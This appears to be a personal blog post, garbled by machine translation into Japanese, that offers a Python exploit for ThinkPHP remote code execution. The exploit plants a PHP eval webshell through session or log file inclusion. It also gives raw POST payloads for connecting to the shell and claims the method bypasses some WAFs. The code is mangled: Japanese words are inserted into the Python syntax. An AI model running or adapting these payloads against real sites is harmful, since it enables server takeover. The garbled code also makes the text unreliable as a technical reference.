何年も前に書かれたテストでは、主にセッションのログを使用するgetshellまたはthinkphp //攻撃テストを使用しない
インポートリクエスト インポート時間 インポートsys def session_write(url): fuck = {'_method': '__construct'、 'filter []': 'think \ Session :: set'、 'method': 'get'、 'get [] ': "<?php @eval($ _ POST [' x '])?>"、' server [] ':' 1 '} res = requests.post(url、cookies = {' PHPSESSID ':' 9enl96jhqjhvuj37t0m6aluule '} 、data = fuck、headers = {'User-Agent': 'Mozilla / 5.0(Macintosh; BaiduSpider)'}) fuckshell = {'_method': '__construct'、 'filter []': 'think \ __ include_file'、 'メソッド ':' get '、 ' server [REQUEST_METHOD] ':' / tmp / sess_9enl96jhqjhvuj37t0m6aluule '、' x ':'print(2020202020); '} print(2020202020); '} res = requests.post(url、cookies = {' PHPSESSID ':' 9enl96jhqjhvuj37t0m6aluule '}、data = fuckshell、 headers = {' User-Agent ':' Mozilla / 5.0(Macintosh; BaiduSpider) '}) return res.text def log_shell(url): day = '../data/runtime/log/'+time.strftime("%Y%m/%d.log " 、time.localtime()) print day fuck = {'_method': '__construct'、 'filter []': 'call_user_func'、 'method': 'get'、 'get []': "<?php @eval ($ _POST ['x'])?> "、 'server []': '1'} res = requests.post(url、cookies = {'PHPSESSID': '9enl96jhqjhvuj37t0m6aluule'}、data = fuck、headers = { 'User-Agent': 'Mozilla / 5.0(Macintosh; BaiduSpider)'}) fuckshell = {'_method': '__construct'、 'filter []': 'think \ __ include_file'、 'method': 'get'、 'server [REQUEST_METHOD]':day、 'x': 'print(2020202020);'} res = requests.post(url、cookies = {'PHPSESSID': '9enl96jhqjhvuj37t0m6aluule'}、data = fuckshell、} headers = {'User-Agent': 'Mozilla / 5.0(Macintosh; BaiduSpider)'}) sys.argv [1]の場合はres.textを 返します: url = sys.argv [1] + 'index.php?s = captcha ' else: exit( "exp.py http:// xxxx") if '20202020' session_write(url): print "shell ok session shell" elif '20202020' in log_shell(url): print "shell ok log shell" else: print "bad"
使用する:
直接アドレスを入力し、キーを1つだけ...
ブログは主に個人的なメモを取ることです。
接続方法:
投稿データ
_method = __ construct&filter [] = think \ __ include_file&method = get&server [REQUEST_METHOD] = / tmp / sess_9enl96jhqjhvuj37t0m6aluule
利点:一部のwafをバイパスすると、文のペイロードを変更できます
ルートディレクトリが書き込み可能でない場合は、含める方が便利です。
セッションのgetshellが失敗した場合は、thinkphpログを使用しようとします。これはエコーされ、テスト+変更するだけです。